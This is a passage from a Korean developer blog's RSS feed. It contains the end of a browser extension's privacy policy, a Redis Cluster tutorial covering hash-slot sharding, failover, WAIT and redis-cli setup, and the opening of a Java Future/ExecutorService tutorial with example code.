&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 권한 안내&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;activeTab&lt;/b&gt; &amp;mdash; 현재 탭의 URL을 읽어 제휴 링크를 생성합니다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;cookies&lt;/b&gt; &amp;mdash; 각 플랫폼의 로그인 상태를 확인합니다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;clipboardWrite&lt;/b&gt; &amp;mdash; 생성된 제휴 링크를 클립보드에 복사합니다&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 문의&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 개인정보처리방침에 대한 문의사항은 &lt;a href=&quot;mailto:gorae930301@gmail.com&quot;&gt;gorae930301@gmail.com&lt;/a&gt;로 연락해주세요.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7. 변경사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개인정보처리방침이 변경될 경우 본 페이지를 통해 공지합니다.&lt;/p&gt;</description>
      <category>제휴링크 톡</category>
      <category>FAQ</category>
      <category>가이드문서</category>
      <category>설명서</category>
      <category>제휴링크</category>
      <category>제휴링크톡</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/319</guid>
      <comments>https://jangto.tistory.com/entry/%EC%A0%9C%ED%9C%B4%EB%A7%81%ED%81%AC-%ED%86%A1-%EA%B0%80%EC%9D%B4%EB%93%9C-%EB%AC%B8%EC%84%9C#entry319comment</comments>
      <pubDate>Tue, 14 Apr 2026 14:12:15 +0900</pubDate>
    </item>
    <item>
      <title>Redis Cluster 입문하기</title>
      <link>https://jangto.tistory.com/entry/Redis-Cluster-%EC%9E%85%EB%AC%B8%ED%95%98%EA%B8%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Redis는 InMemory 데이터 저장소로 자주 사용되지만 안정적인 운영을 위해서는 고가용성을 확보하는것이 중요하기 때문에 Redis Cluster를 사용해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 글에서는 공식 문서를 기반으로 Redis Cluster의 개념을 설명하겠습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;고가용성이란? 시스템이 다운타임 없이 오랫동안 지속적으로 정상 운영 될 수 있는 능력을 의미합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Redis Cluster란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis Cluster는 데이터를 여러 노드(서버)에 분산 저장하는 시스템입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;확장성 : 노드를 추가해 용량과 처리량을 향상시킵니다.&lt;/li&gt;
&lt;li&gt;고가용성 : 노드 장애 시 자동 복구가 가능합니다.&lt;/li&gt;
&lt;li&gt;성능 : 작업을 분담 처리하기 때문에 성능적으로 향상시킵니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis 3.0 이상부터 지원하며 최대 1000개 노드까지 확장 가능합니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Redis Cluster 개념&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. Data Sharding&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis Cluster는 키 스페이스를 16,384개의 해시 슬롯으로 나누게 됩니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-1. 왜 16,384개 일까?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클러스터의 모든 노드는 어떤 노드가 16,384개의 슬롯 중 어떤 것을 담당하는지에 대한 전체 정보를 항상 알고 있어야 하며 이 정보는 비트맵(Bitmap) 형태로 교환됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;16,384개의 슬롯 상태를 표현하려면 16,384 Bit가 필요합니다.&lt;/li&gt;
&lt;li&gt;16,384 Bit / 8 = 2,048 Byte, 즉 2KB입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노드들은 Gossip Protocol을 통해 서로의 상태를 주고받는데 이때 클러스터 전체의 슬롯 구성 정보가 담긴 이 2KB짜리 비트맵이 함께 전송하게 되며 이 데이터의 크기가 매우 작기 때문에 네트워크에 부담을 주지 않으면서도 클러스터의 구성 변경(노드 추가, 장애 복구 등)을 모든 노드에 빠르고 효율적으로 전파할 수 있는 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 슬롯 할당 방법으로 Redis Cluster는 CRC16 알고리즘을 사용해서 키를 해시한 후 그 결과값을 16,384로 나눈 나머지 값을 해당 키의 슬롯 번호로 사용하는데&amp;nbsp;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;만약 여러 키를 항상 같은 노드(같은 슬롯)에 저장하고 싶다면 해시태그&lt;/span&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;{}를 사용할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 user:{123}:food와 user:{123}:price는 {123} 때문에 항상 같은 슬롯에 저장됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. Master와 Replica&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Master : 데이터를 읽기 / 쓰기를 합니다.&lt;/li&gt;
&lt;li&gt;Replica : Master의 복사본을 유지하고 Master 장애 시 자동 failover로 승격되는데 이는 Cluster Bus를 통해 노드간 합의하며 낮은 지연 시간을 보이지만 네트워크 지연이 있는 경우 긴 시간 지연될 수 있습니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Failover란? 장애가 발생했을 때 예비 시스템으로 자동으로 전환되는 기능을 의미합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis Sentinel과 Redis Cluster의 차이는 Sentinel은 단일 Master-Replica 구조의 고가용성을 위한 모니터링 및 자동 복구 시스템이지만 데이터를 여러 노드에 자동으로 분산 저장하는 Sharding 기능은 없습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. Cluster Bus&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노드들은 TCP 기반 Cluster Bus(default port : 16379)로 연결됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Gossip Protocol로 상태를 공유하며 장애 감지와 노트 추가를 처리하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크 지연이 발생하면 Cluster 전체 성능이 저하 될 수 있으므로 저지연 네트워크를 사용해야합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;gossip 프로토콜이란? 노드들이 서로 소문을 퍼뜨리는 방식으로 동작하며 각 노드는 자기가 알고 있는 정보(자신의 상태, 다른 노드의 상태 등)를 주기적으로 몇몇 다른 노드에게 무작위로 알리게 되며 이 정보가 연쇄적으로 퍼져나가면서 결국 클러스터 전체에 정보가 동기화되는 방식입니다. 즉, 중앙 관리자 없이도 분산 환경에서 효율적으로 정보를 전파할 수 있는 방법입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. Redirection&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트가 잘못된 노드에 요청하게 되면 오류가 반환됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;-MOVED : 요청한 키의 슬롯이 영구적으로 다른 노드로 이동했다는 뜻이며 이 응답을 받은 클라이언트는 자신의 슬롯 맵 정보를 최신화하고 새로운 노드로 요청을 다시 보내야 합니다.&lt;/li&gt;
&lt;li&gt;-ASK : 요청한 키의 슬롯이 임시적으로 다른 노드에 있다는 의미로 일시적인 상황이며 클라이언트는 해당 노드에 ASKING 명령을 먼저 보낸 후 원래 하려던 요청을 보내야 합니다.&amp;nbsp;&lt;b&gt;단, -MOVED와 다르게 슬롯 맵 정보를 갱신하지는 않습니다.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Redis Cluster 운영 시 주요 고려 사항&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 쓰기 안정성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis Cluster는 성능을 위해 기본적으로 비동기 방식으로 마스터 노드의 데이터를 레플리카에 복제하는데 이 방식은 쓰기 지연 시간을 최소화하지만 특정 상황에서 데이터 유실의 원인이 될 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Client가 Master Node에 데이터를 씁니다.&lt;/li&gt;
&lt;li&gt;Master는 즉시 Client에게 성공을 응답합니다.&lt;/li&gt;
&lt;li&gt;해당 데이터를 Replica로 전파하기 전에 Master Node에 장애가 발생합니다.&lt;/li&gt;
&lt;li&gt;Redis Cluster는 Replica를 새로운 Master로 승격시키지만 이 Replica는 방금 전의 최신 데이터를 가지고 있지 않아 데이터가 유실됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터의 정합성이 매우 중요하다면 WAIT 명령어를 사용해 쓰기 안전성을 강화할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;i&gt;WAIT [복제본 수] [타임아웃]&lt;/i&gt;&lt;/b&gt; 형식으로 사용하며 지정된 수의 레플리카가 쓰기 작업을 복제했음을 확인할 때까지 클라이언트의 연결을 차단(block)하게 되어 쓰기 작업이 최소 N개의 노드에 안전하게 저장되었음을 보장할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 복제를 기다리는 시간만큼 지연 시간이 발생하므로 성능 저하를 감수해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 성능과 데이터 정합성 둘중 어느게 중요한지 파악한 후 사용해야합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 안정적인 네트워크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis Cluster 운영 시 가장 중요하게 고려해야 할 것 중 하나는 네트워크 안정성인데 이는 네트워크 분할이라는 치명적인 문제를 방지하기 위함입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1. 네트워크 분할이란?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cluster Node 간의 통신 경로에 장애가 발생하여 Cluster가 논리적으로 둘 이상의 그룹으로 분리되는 현상이며 이는 고가용성 시스템의 안정성을 위협하는 주요 요인입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis Cluster는 과반수(Quorum) 기반의 장애 감지 및 Failover 메커니즘을 사용합니다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;네트워크 분할이 발생하면 Cluster는 노드 수에 따라 다수 파티션(majority)과 소수 파티션(minority)으로 나뉩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;소수 파티션: 이 그룹의 노드들은 과반수를 확보하지 못했으므로 클러스터 전체의 데이터 불일치를 방지하기 위해 스스로를 비정상 상태로 간주하고 모든 쓰기(Write) 요청을 거부합니다.&lt;/li&gt;
&lt;li&gt;다수 파티션: 과반수 이상의 노드를 확보했기 때문에 정상적으로 클라이언트의 요청을 계속 처리합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-2. 네트워크 분할과 데이터 유실의 관계&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크 분할이 위험한 이유는 위에서 설명한 쓰기 안정성 문제를 직접적으로 발생시키기&amp;nbsp;때문입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;네트워크 문제로 Master Node&amp;nbsp;하나가 다른 Node들과 분리됩니다.&lt;/li&gt;
&lt;li&gt;다수 파티션의 노드들은 이 Master가 다운되었다고 판단하고 Failover를 시작하여 해당 Master의 Replica를 새로운 마스터로 승격시킵니다.&lt;/li&gt;
&lt;li&gt;이때 원래 Master가 장애 직전 처리했던 쓰기 작업이 아직 Replica에게 비동기 방식으로 전파되지 않았다면 그 데이터는 영구적으로 유실됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론은 안정적인 네트워크를 구성하는 것은 단순히 성능을 위한 것이 아니라 이처럼 Cluster 분리와 자동 Failover 과정에서 발생할 수 있는 데이터 유실 위험을 차단하기 위함입니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;권장 사항 : 단일 데이터 센터나 클라우드의 단일 VPC 내에 클러스터를 배치&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Redis Cluster 설정 방법&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. Redis 설치 및 설정&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis 설치 후 &lt;span&gt;redis.conf&lt;/span&gt; 수정&lt;/p&gt;
&lt;pre id=&quot;code_1755149155022&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cluster-enabled yes # 단독 모드가 아닌 Cluster 모드로 실행
cluster-node-timeout 15000 # 장애 감지 타임아웃 ms 단위&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. Cluster 생성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 Redis 인스턴스가 Cluster 모드로 실행되었다면 하나의 클러스터로 묶어줄 차례입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안정적인 운영을 위해 Redis는 최소 3개의 마스터 노드와 각 마스터에 연결된 3개의 레플리카 노드 구성을 권장합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1755149392812&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;redis-cli --cluster create 192.168.1.101:7001 192.168.1.102:7002 192.168.1.103:7003 \
192.168.1.104:7004 192.168.1.105:7005 192.168.1.106:7006 --cluster-replicas 1

# 7001~7003: Master
# 7004~7006: Replica&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;--cluster create: 클러스터 생성 도구를 실행합니다.&lt;/li&gt;
&lt;li&gt;--cluster-replicas 1: 입력된 노드 목록에서 각 Master에 대해 1개의 Replica를 자동으로 할당하라는 의미입니다
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이때 Master와 Replica는 작성 순서에 맞게 매핑됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 관리&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-pm-slice=&quot;3 3 []&quot; data-tight=&quot;true&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;노드 추가
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;redis-cli --cluster add-node [새 노드 IP:Port] [기존 노드 IP:Port]&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Resharding&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;노드 간 해시 슬롯을 재분배하여 데이터 균형을 맞춥니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;클러스터에 부하를 주며 실패 시 데이터 불일치가 발생할 수 있어서 트래픽이 적은 시간에 사전 백업 후 진행해야합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;redis-cli --cluster reshard [기존 노드 IP:Port]&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;장애 복구
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동 : 마스터 노드가 다운되면 레플리카가 자동으로 새로운 마스터로 승격됩니다.&lt;/li&gt;
&lt;li&gt;수동 : 관리자가 직접 Failover를 트리거할 수 있습니다.&lt;/li&gt;
&lt;li&gt;redis-cli -c -p [Port] CLUSTER FAILOVER&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;모니터링
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클러스터의 전반적인 상태를 확인합니다.&lt;/li&gt;
&lt;li&gt;redis-cli -c -p [Port] CLUSTER INFO&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/Redis</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/318</guid>
      <comments>https://jangto.tistory.com/entry/Redis-Cluster-%EC%9E%85%EB%AC%B8%ED%95%98%EA%B8%B0#entry318comment</comments>
      <pubDate>Thu, 14 Aug 2025 19:06:59 +0900</pubDate>
    </item>
    <item>
      <title>java.util.concurrent.Future</title>
      <link>https://jangto.tistory.com/entry/javautilconcurrentFuture</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Future란 무엇일까?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Java의 Future Interface는 비동기 연산의 결과를 나타내는 핵심 컴포넌트입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Future는 Multi Thread 환경에서 비동기적으로 실행되는 작업의 결과를 관리하기 쉽게 해줍니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시간이 오래 걸리는 작업을 Background에서 실행 하는 경우&lt;/li&gt;
&lt;li&gt;&lt;b&gt;여러 작업을 병렬로 실행하고 결과를 기다리는 경우&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;작업의 진행 상태를 확인하거나 취소해야 하는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. Future의 기본 개념&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1. 비동기 연산의 생명 주기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Future로 관리하는 비동기 작업은 다음과 같이 나타낼 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1754496496743&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;생성 -&amp;gt; 실행 -&amp;gt; 완료 / 취소 / 예외&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-2. Generic Type&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Future는 Generic Interface이기 때문에 반환될 결과의 타입을 지정할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1754496693223&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Future&amp;lt;String&amp;gt; stringResult; // 문자열을 반환하는 Future
Future&amp;lt;Integer&amp;gt; intResult;   // 정수를 반환하는 Future
Future&amp;lt;Void&amp;gt; nullResult;     // 결과 값이 없는 비동기 작업 (get()은 null 반환)
Future&amp;lt;?&amp;gt; wildcardResult;    // 특정할 수 없는 타입의 결과를 반환하는 Future&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. Future 주요 메소드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Future Interface에는 5개의 핵심 메소드를 제공합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3-1. 결과 조회&lt;/h4&gt;
&lt;pre id=&quot;code_1754497210242&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 비동기 작업이 완료될 때까지 기다렸다가 결과를 반환합니다.
V get() throws InterruptedException, ExecutionException

// 비동기 작업이 완료될 때까지 최대 timeout 시간만큼 기다린 후 결과를 반환합니다.
V get(long timeout, TimeUnit unit) throws InterruptedException, ExecutionException, TimeoutException&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3-2. 상태 확인&lt;/h4&gt;
&lt;pre id=&quot;code_1754497546383&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 작업이 완료되기 전 cancel 메소드로 취소되었다면 true를 반환합니다.
boolean isCancelled()

// 작업이 정상 종료, 예외, 취소로 인해 완료되었다면 true를 반환합니다.
boolean isDone()&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3-3. 작업 취소&lt;/h4&gt;
&lt;pre id=&quot;code_1754497745889&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 작업을 취소하려고 시도하는 메서드입니다.
// 작업이 이미 완료되었거나 이미 취소된 경우에는 false를 반환합니다.
// 작업이 실행 중이며 mayInterruptIfRunning이 true이면 실행 중인 스레드를 interrupt하여 중단을 시도합니다.
// 취소에 성공하면 true, 실패하면 false를 반환합니다.
boolean cancel(boolean mayInterruptIfRunning);&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 기초 예제&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4-1. 기본적인 Future 사용 예제&lt;/h4&gt;
&lt;pre id=&quot;code_1754497989232&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ExecutorService executor = Executors.newSingleThreadExecutor();

Future&amp;lt;String&amp;gt; future = executor.submit(new Callable&amp;lt;String&amp;gt;() {
    @Override
    public String call() throws Exception {
        Thread.sleep(2000); // 2초 작업 시뮬레이션
        return &quot;작업 완료!&quot;;
    }
});

System.out.println(&quot;작업 시작...&quot;);

try {
    String result = future.get();
    System.out.println(&quot;결과: &quot; + result);
} catch (InterruptedException | ExecutionException e) {
    e.printStackTrace();
}

executor.shutdown();

// 작업 시작...
// 결과: 작업 완료!&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4-2. Lamda 표현식을 사용한 예제&lt;/h4&gt;
&lt;pre id=&quot;code_1754498313505&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ExecutorService executor = Executors.newSingleThreadExecutor();
        
Future&amp;lt;String&amp;gt; future = executor.submit(() -&amp;gt; {
    Thread.sleep(1000);
    return &quot;치킨 + 피자&quot;;
});

//   isDone 메소드가 논블로킹이라는걸 확인할 수 있습니다.
while (!future.isDone()) {
    System.out.println(&quot;아직 다이어트 중...&quot;);
    Thread.sleep(500);
}
        
try {
    String result = future.get();
    System.out.println(&quot;저녁 메뉴는 &quot; + result + &quot;입니다.&quot;);
} catch (Exception e) {
    e.printStackTrace();
}
        
executor.shutdown();

// 아직 다이어트 중...
// 아직 다이어트 중...
// 아직 다이어트 중...
// 저녁 메뉴는 치킨 + 피자입니다.&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. ExecutorService와 Future&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5-1. ExecutorService를 활용한 Future 반환 예제&lt;/h4&gt;
&lt;pre id=&quot;code_1754499756874&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ExecutorService executor = Executors.newFixedThreadPool(3);

// Callable: 작업이 직접 결과를 반환 (Future&amp;lt;String&amp;gt;)
Future&amp;lt;String&amp;gt; callableResult = executor.submit(() -&amp;gt; {
    return &quot;Callable 결과&quot;;
});

// Runnable + 결과값: 작업은 결과 없이 실행, 지정된 값 반환 (Future&amp;lt;String&amp;gt;)
Future&amp;lt;String&amp;gt; runnableResult = executor.submit(() -&amp;gt; {
    System.out.println(&quot;Runnable 실행&quot;);
}, &quot;Runnable 완료&quot;);

// Runnable만: 결과 값 없음, get()은 null 반환 (Future&amp;lt;?&amp;gt;)
Future&amp;lt;?&amp;gt; voidResult = executor.submit(() -&amp;gt; {
    System.out.println(&quot;결과 없는 작업&quot;);
});

try {
    System.out.println(callableResult.get()); // 출력: Callable 결과
    System.out.println(runnableResult.get()); // 출력: Runnable 완료
    if (voidResult.get() == null) {
        System.out.println(&quot;null 반환&quot;); // 출력: null 반환
    }
} catch (Exception e) {
    e.printStackTrace();
}

executor.shutdown();

// submit() 호출 시 작업을 스레드 풀의 작업 큐에 추가합니다.
// submit() 자체는 즉시 Future 객체를 반환하고 실제 작업의 실행은 스레드 풀의 스케줄링에 따라 비동기적으로 처리됩니다.
// 즉, 출력은 스레드 풀이 작업을 처리하는 시점에서 발생합니다.

// Runnable 실행
// Callable 결과
// Runnable 완료
// 결과 없는 작업
// null 반환&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5-2. 병렬 처리 예제&lt;/h4&gt;
&lt;pre id=&quot;code_1754500765973&quot; class=&quot;livescript&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;ExecutorService executor = Executors.newFixedThreadPool(3);
List&amp;lt;Future&amp;lt;Integer&amp;gt;&amp;gt; futures = new ArrayList&amp;lt;&amp;gt;();
	        
// 여러 작업을 병렬로 시작
for (int i = 1; i &amp;lt;= 5; i++) {
    final int taskId = i;
    // 병렬적으로 3개의 스레드로 5번 작업을 합니다.
    Future&amp;lt;Integer&amp;gt; future = executor.submit(() -&amp;gt; {
        System.out.println(&quot;작업 &amp;gt;&amp;gt; &quot; + taskId + &quot; 시작됨 (소요시간: &quot; + taskId + &quot;초)&quot;);
        Thread.sleep(taskId * 1000); 
        return taskId * taskId;
    });
    futures.add(future);
}
	        
// 모든 결과 수집
System.out.println(&quot;모든 작업 결과:&quot;);
for (int i = 0; i &amp;lt; futures.size(); i++) {
    try {
        // Future의 get() 메소드는 블로킹이라는 걸 확인할 수 있습니다.
        Integer result = futures.get(i).get();
        System.out.println(&quot;작업 &quot; + (i + 1) + &quot; 결과: &quot; + result);
    } catch (Exception e) {
        System.out.println(&quot;작업 &quot; + (i + 1) + &quot; 실패: &quot; + e.getMessage());
    }
}
	        
executor.shutdown();

// 모든 작업 결과:
// 작업 &amp;gt;&amp;gt; 3 시작됨 (소요시간: 3초)
// 작업 &amp;gt;&amp;gt; 1 시작됨 (소요시간: 1초)
// 작업 &amp;gt;&amp;gt; 2 시작됨 (소요시간: 2초)
// 작업 &amp;gt;&amp;gt; 4 시작됨 (소요시간: 4초)
// 작업 1 결과: 1
// 작업 &amp;gt;&amp;gt; 5 시작됨 (소요시간: 5초)
// 작업 2 결과: 4
// 작업 3 결과: 9
// 작업 4 결과: 16
// 작업 5 결과: 25&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. FutureTask&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FutureTask는 Future Interface와 Runnable Interface를 구현합니다.&lt;/p&gt;
